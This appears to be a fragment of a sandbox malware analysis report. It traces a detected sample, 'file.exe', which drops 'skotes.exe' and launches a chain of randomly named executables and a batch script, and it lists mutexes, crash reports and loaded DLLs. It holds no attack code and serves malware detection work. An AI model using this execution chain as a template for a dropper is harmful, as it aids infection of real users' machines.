Code function: 12_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

12_2_004020BF

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7592
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess12572
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7540
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:18672:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4500

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	Virustotal: Detection: 54%
Source: file.exe	ReversingLabs: Detection: 47%

Source: 378e4894d2.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe "C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe "C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe"
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Process created: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe 7520
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe "C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe"
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe 7576
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe "C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe "C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe"
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe 7712
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7540 -s 996
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4500 -s 648
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe "C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe "C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe"
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe 12492
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 12572 -s 636
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7592 -s 600
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Process created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe "C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe "C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe "C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe "C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe "C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe "C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Process created: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe 7520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe 7576	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe 7712
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Process created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Process created: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe 12492

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: cryptbase.dll
